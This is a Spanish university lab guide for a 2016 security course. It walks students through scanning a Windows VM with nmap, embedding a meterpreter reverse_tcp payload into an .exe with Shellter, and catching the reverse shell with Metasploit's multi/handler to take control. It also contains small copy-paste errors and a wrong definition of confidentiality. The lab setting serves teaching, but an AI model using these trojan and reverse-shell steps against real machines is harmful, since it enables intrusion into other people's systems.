

GUÍA DEL COMPONENTE PRÁCTICO DEL CURSO SEGURIDAD INFORMATICA

ACTIVIDAD PRÁCTICA 3 – SEGURIDAD EN REDES

Autor:

MSc. Manuel Sierra Rodríguez

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA
ESCUELA DE CIENCIAS BÁSICAS TECNOLOGÍAS E
INGENIERÍA

PROGRAMA TECNOLOGIA EN DESARROLLO DE SOFTWARE

CURSO SEGURIDAD INFORMATICA 204039

JULIO DE 2016




ACTIVIDAD PRÁCTICA 3

INTRODUCCIÓN

De acuerdo con (Tarazona T., n.d.), la evolución de los sistemas de información y de la forma de hacer negocios, la información se ha convertido en uno de los activos de mayor valor para las personas y especialmente para las Organizaciones. "Los sistemas, redes y servicios de información afines, deben ser fiables seguros, dado que los participantes son cada vez más dependientes de estos".

El crecimiento tecnológico y el auge en el uso de tecnologías informáticas y las comunicaciones ha venido en permanente evolución, pero al mismo tiempo se ha incrementado el delito informático, generando un gran impacto en la sociedad actual. La línea estudia la temática relacionada con la seguridad e inseguridad de las infraestructuras tecnológicas y de comportamientos de las mismas, buscando que se garantice la funcionalidad de las operaciones de manera segura, en disponibilidad de los servicios y recursos, la integridad de la información, la autenticidad y el no repudio de la información que es procesada y transmitida. Se plantea desarrollar estrategias para atender las necesidades de la seguridad de la información, estandarización, aplicación de técnicas de verificación y de auditoria.

Con esta práctica, se pretende abordar los conceptos y a la vez permiten afianzar los conocimientos adquiridos, realizando las prácticas propuestas.



TEMA: Seguridad en Redes

1. OBJETIVOS

1.1. OBJETIVO GENERAL

Reconocer por parte del estudiante los conceptos de seguridad de la información e informática, mediante un ejercicio práctico experimental, que les permita identificar la inseguridad en sistemas de información.

1.2 OBJETIVOS ESPECÍFICOS

- Revisar y definir las condiciones de seguridad de red, de servicios
- Aplicar el análisis de vulnerabilidades a sistemas operativos, con herramientas especializadas, en software libre.
- Proponer un plan de acción para solucionar las vulnerabilidades encontradas confiabilidad del sistema de medición y reducir su variabilidad

2. FUNDAMENTACIÓN

En esta sección se exponen los elementos básicos conceptuales sobre el tema de esta práctica para la contextualización teórica

de la misma. No obstante el estudiante deberá estudiar las referencias asignadas en el curso.


2.1 Seguridad, Amenazas, vulnerabilidades

Seguridad de la Información: son todas aquellas medidas preventivas, reactivas de las personas, en las organizaciones y los sistemas tecnológicos que permitan salvaguardar la información buscando mantener la Confidencialidad, Autenticidad, Disponibilidad e Integridad de la misma.

Seguridad informática es una rama de la informática que está enfocada a la protección del hardware, software, los sistemas de información y las redes de datos.

Ciberseguridad: "Protección de activos de información, a través del tratamiento de amenazas que ponen en riesgo la información que es procesada, almacenada y transportada por los sistemas de información que se encuentran interconectados". Según ISACA.

Ciberspacio: entorno virtual, no físico creado por equipos de cómputo unidos para interoperar en una red. Lo conforma todos los actores de interconexión, gestión de sistemas informáticos. Es decir los medios físicos y lógicos que conforman las infraestructuras de los sistemas de comunicaciones e informáticos, junto con los usuarios que interactúan con estos sistemas.




Amenaza: es la posibilidad de ocurrencia de cualquier tipo de evento o acción que puede producir un daño (material o inmaterial) sobre los elementos de un sistema.

Confidencialidad: Es la identificación y la garantía del origen de la información. Corroborar de quien dice ser, sea.

2.2. CONCEPTOS BÁSICOS

Los conceptos más relevantes a considerar en relación con la variabilidad de los equipos de medición son los siguientes:

- **Criptografía:** es la disciplina que se encarga del estudio de códigos secretos o llamados también códigos cifrados (en griego kriptos significa secreto y gráhos, escritura, es decir mantener en secreto el mensaje. La criptografía ha sido usada a través de los años para mandar mensajes confidenciales cuyo propósito es que sólo las personas autorizadas puedan entender el mensaje. Se derivan la Criptología y la Esteganografía. (Fernández, 2004).
 - **La Criptología:** Proviene del griego Krypto y logos, significa el estudio de lo oculto, lo escondido. Es la ciencia que trata los problemas teóricos relacionados con la seguridad en el
- 

intercambio de mensajes en clave entre un emisor y un receptor a través de un canal de comunicaciones.


- **Esteganografía:** La ciencia, denominada Esteganálisis, permite detectar información escondida en imágenes o archivos de sonido

2 Ataques a sistemas informáticos

Un ataque informático consiste en aprovechar alguna debilidad o falla (vulnerabilidad) en el software, en el hardware, e incluso, en las personas que forman parte de un ambiente Informático; a fin de obtener un beneficio, por lo general de índole económico, causando efectos negativos en la seguridad del sistema, que luego repercute directamente en los activos de la organización.

Para minimizar el impacto negativo provocado por ataques, existen procedimientos y mejores prácticas que facilitan la lucha contra las actividades delictivas y reducen notablemente el campo de acción de los ataques.

Uno de los pasos más importantes en seguridad, es la educación. Comprender cuáles son las debilidades más comunes que pueden ser aprovechadas y cuáles son sus riesgos asociados, permitirá conocer de qué manera se ataca un sistema informático ayudando a identificar las debilidades y riesgos para luego desplegar de manera inteligente estrategias de seguridad efectivas.



Metasploit Project: es un proyecto de seguridad informática que proporciona información acerca de las vulnerabilidades de seguridad y ayuda en las pruebas de penetración y desarrollo de firma de IDS e IPS.

El sub-proyecto más conocido es Metasploit, es una herramienta de código abierto, para el desarrollo y ejecución de código de explotación en contra de un equipo de destino remoto.

Otros sub- proyectos importantes incluyen la base de datos de código de operación, archivo código shell y la investigación relacionada.

Metasploit proporciona herramientas anti - forenses y de evasión, algunas de las cuales están integradas en el marco de Metasploit.

3. HERRAMIENTAS NECESARIOS PARA LA PRÁCTICA


Virtualbox, Kali Linux, Metasploit

Shellter

4. FORMA DE TRABAJO

La actividad esta propuesta para ser desarrollada de forma individual. Aunque en los Grupos colaborativos se puede interactuar para el desarrollo de la actividad.

Fecha de inicio de la actividad: 19 de Noviembre de 2016 a las 00:00h



Fecha de finalización de la actividad: 29 de noviembre de 2016, a las 23:55 h.

5. PROCEDIMIENTO

Antes de realizar la práctica deben tener en cuenta los siguientes aspectos para crear el escenario de práctica:

Se debe hacer de forma controlada, sobre una máquina virtual.

Descargar las aplicaciones teniendo en cuenta si deben ser a 32 bits o a 64 bits de acuerdo al hardware del equipo base que tengan.

5.1. REALIZAR LA PRACTICA

La máquina virtual creada en la práctica 1, se debe utilizar para desarrollar la práctica 3. Tener en cuenta las vulnerabilidades encontradas en la práctica 1.

1. Crea una segunda máquina virtual para instalar Kali Linux, el cual se descarga la ISO de: <https://www.kali.org/downloads> y elije la versión de acuerdo al hardware que tenga en el equipo base.

Debe instalar las actualizaciones, para eso deben montar los repositorios y luego actualizar el sistema operativo.

En un terminal y como usuario root, digite:

```
nano /etc/apt/sources.list
```

Adicionar las siguientes líneas:

```
#official
```

```
deb http://http.kali.org/kali sana main non-free contrib
```

```
deb-src http://http.kali.org/kali sana main non-free  
contrib
```

```
#security
```

```
deb http://security.kali.org/kali-security sana/updates
```

```
main contrib non-free
```

```
deb-src http://security.kali.org/kali-  
security sana/updates main contrib non-free
```

Luego actualizar con:

```
apt-get update
```

```
apt-get dist-upgrade
```

```
reboot
```

Instalar la aplicación shellter

```
apt-get install shellter
```

Tener en cuenta para que funcione con wine debe ejecutar:

```
root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32
```

Se hará uso de la herramienta metasploit framework. Tener en cuenta las precauciones de seguridad para que funcione, deshabilitar el firewall en la zona de red interna en la máquina virtual Windows 7.

Las dos máquinas virtuales deben estar configuradas en el mismo segmento, esto aplica para la práctica, en escenarios reales de red, depende de la segmentación de red y de las reglas de firewall.

2. Desde la consola de kali Linux, revisar con nmap que equipos están en el mismo segmento, listar las direcciones ip.

`nmap -sP dirección ip 1-255`

Ejemplo: `nmap -sP 192.160.50.1-255`

También se puede desde la aplicación gráfica.

`nmap -sP 192.168.50.1-254`

```
Starting Nmap 6.49BETA5 ( https://nmap.org )
at 2016-07-28 09:54 Hora est. Pacífico,
Sudamérica
Nmap scan report for 192.168.50.1
Host is up (0.0010s latency).
MAC Address: xxxxxxxx
Nmap scan report for 192.168.50.140
Host is up.
Nmap done: 254 IP addresses (2 hosts up)
scanned in 38.17 seconds
```

- ✓ Revisar con comando ipconfig la configuración de red del equipo base:

Ejemplo: Equipo base:

```
C:\>ipconfig
Configuración IP de Windows
Adaptador de Ethernet Ethernet:
    Sufijo DNS específico para la conexión. . . :
    Dirección IPv4. . . . . :
192.168.50.146
    Máscara de subred. . . . . :
255.255.255.0
    Puerta de enlace predeterminada. . . . . :
192.168.50.1
```

- ✓ Equipo virtual o víctima

```
C:\User\Pruebas>ipconfig
Configuración IP de Windows
Adaptador de Ethernet Ethernet:
    Sufijo DNS específico para la conexión. . . :
    Dirección IPv4. . . . . :
192.168.50.140
    Máscara de subred. . . . . :
255.255.255.0
    Puerta de enlace predeterminada. . . . . :
192.168.50.1
```

En el equipo atacante, que es la máquina virtual con Kali Linux, realizar pruebas de conectividad contra la máquina víctima, ósea la otra máquina virtual con Windows 7.

En la consola de kali Linux realizar:

`nmap -sS -sV dirección ip de la víctima.`

Documentar la salida donde muestra los puertos abiertos, los servicios, versión

3. Se busca tomar el control del equipo víctima, usando metasploit.

Para preparar el ataque es necesario hacer lo siguiente:

Puede arrancar la aplicación metasploit desde los iconos del kali Linux o desde una terminal con el comando `msfconsole`.

Estando en la consola en `msf>`

Con el comando `show` muestra todos los componentes disponibles del metasploit.

Para ver solo los exploits use: `show exploits`

Para mirar las opciones: `show options`.

Para realizar el ataque se propone usar `handler`, para lo cual es necesario crear el payload que permitirá conectar el equipo víctima con el equipo atacante. Para eso puede usar `payload` o `msfvenom` o `shellter`.

Ejemplo:

Con `shellter`:

Se debe elegir un archivo .exe el cual será al que se le aplique el código malicioso. Lo copia en /root

Ejecute en la consola: shellter

En modo de operación elige la opción: A

A = modo automático

En PE Target: nombre del archivo .exe

En la lista de PAYLOADS or custom digitar: L

En la selección del index de payloads digitar: 1

SET LHOST: la dirección ip del equipo atacante (kali Linux)

SET LPORT: 4444

Con los anterior se crea el archivo .exe en la locación /root, este se debe copiar en una usb (pendrive) y se copia en el equipo víctima y se ejecuta. En la realidad es el archivo malicioso que envían por correo o por otros métodos para que los usuarios incautos lo abran.

Realizar el ataque:

Utilizar **handler**

Ejemplo:

```
msf> use exploit/multi/handler
```

```
msf > use exploit/multi/handler  
msf exploit(handler) >
```


Set payload windows/meterpreter/reverse_tcp

```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
```

set lhost dir ip es la ip del equipo atacante

Ejemplo:

set lhost 192.168.30.100

```
msf exploit(handler) > set lhost 192.168.30.100
```

set RHOST dir ip es la ip de la victima

Para hacer el ataque: Tenga en cuenta que debe ejecutar el archivo .exe que copio en el equipo victima creado con shellter

msf> exploit ejecuta el ataque

```

      =[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.30.100
lhost => 192.168.30.100
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.30.100:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.30.140
[*] Meterpreter session 1 opened (192.168.30.100:4444 -> 192.168.30.140:4935)
t 2016-07-30 22:44:07 -0500

meterpreter >

```

4. Al tomar el control del equipo víctima, crear un directorio en la raíz del disco duro. Evidenciar la creación del directorio en kali Linux y el resultado en equipo víctima.

Ejecutar los siguientes comandos desde el meterpreter, documentar la salida:

getuid

getsystem

ipconfig

ps

tasklist

5. Revisar el equipo víctima con un antivirus
6. Crear y presentar un informe paso a paso sobre el desarrollo de la actividad práctica 3.

7. INFORME DE LA PRÁCTICA

Cada estudiante debe realizar el paso a paso e ir documentando el desarrollo de la actividad práctica en un documento en Word deberá presentar lo siguiente:

EL informe en Word será en letra Arial 11 a un espacio, el Informe debe contener el desarrollo de cada uno de los puntos anteriores en un solo archivo consolidado (se deben recortar las imágenes, solo mostrar lo necesario).

- El archivo debe entregarse dentro de las fechas establecidas, de acuerdo a la agenda del curso, en el entorno de evaluación y seguimiento

8. RÚBRICA DE EVALUACIÓN

La rúbrica de evaluación de esta actividad se presenta en la siguiente página

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA
Rúbrica de evaluación
ACTIVIDAD PRÁCTICA 3

Nombre del curso: SEGURIDAD INFORMÁTICA - 204039

Aspectos evaluados	Criterios de desempeño de la actividad individual Momento 1			P/ máx ima
	Valoración alta	Valoración media	Valoración baja	
Instalación de la máquina virtual con kali linux, actualización y configuración de red, pruebas de conectividad, escaneo de puertos.	El estudiante realizó de manera pertinente Instalación de la máquina virtual con kali Linux, actualizaciones y configuración de red, pruebas de conectividad, escaneo de puertos.	El estudiante realizó parcialmente lo solicitado en la guía de actividades y configuración de red, pruebas de conectividad, escaneo de puertos.	El estudiante nunca presentó sus aportes o no participó en la actividad.	9
	(Hasta 9 puntos)	(Hasta 4 puntos)	(Hasta 0 puntos)	
Preparación y ejecución del ataque.	El estudiante realizó satisfactoriamente la preparación y la ejecución del ataque.	El estudiante realizó parcialmente las indicaciones de la guía de actividades o no logro	El estudiante nunca presentó sus aportes o no participó en la actividad.	9

		tener éxito con el ataque propuesto.		
	(Hasta 9 puntos)	(Hasta 4 puntos)	(Hasta 0 puntos)	
Toma el control de equipo víctima	El estudiante realizó satisfactoriamente la ejecución de los comandos en el meterpreter, solicitados y los documentó bien.	El estudiante realizó parcialmente la ejecución de los comandos meterpreter.	El estudiante nunca presentó sus aportes o no participó en la actividad.	9
	(Hasta 9 puntos)	(Hasta 4 puntos)	(Hasta 0 puntos)	
Estructura documento del y normas APA	El estudiante realizó satisfactoriamente el Informe final de la practica 3, cumpliendo con las normas APA y su estructura.	El estudiante realizó parcialmente la estructura del Informe final o no cumple con las normas APA.	El estudiante nunca presentó sus aportes o no participó en la actividad.	6
	(Hasta 6 puntos)	(Hasta 3 puntos)	(Hasta 0 puntos)	
TOTAL PUNTAJE DEL COMPONENTE PRÁCTICO				33



9. REFERENCIAS

- Fernández, S. (2004). La criptografía clásica, 119–142.
Retrieved from
http://www.hezkuntza.ejgv.euskadi.eus/r43-573/es/contenidos/informacion/dia6_sigma/es_sigma/adjuntos/sigma_24/9_Criptografia_clasica.pdf
- Owasp. (2013). Owasp Top 10 - 2013 Los diez riesgos más críticos en Aplicaciones Web, 22. Retrieved from
https://www.owasp.org/images/5/5f/OWASP_Top_10_-_2013_Final_-_Espa%C3%B1ol.pdf
- Tarazona T., C. H. (n.d.). Amenazas Informáticas y Seguridad de la Información, 137–146.
- Escrivá, G. G., Romero, S. R. M., & Ramada, D. J. (2013). Seguridad informática. Madrid, ES: Macmillan Iberia, S.A.. Retrieved from <http://www.ebrary.com>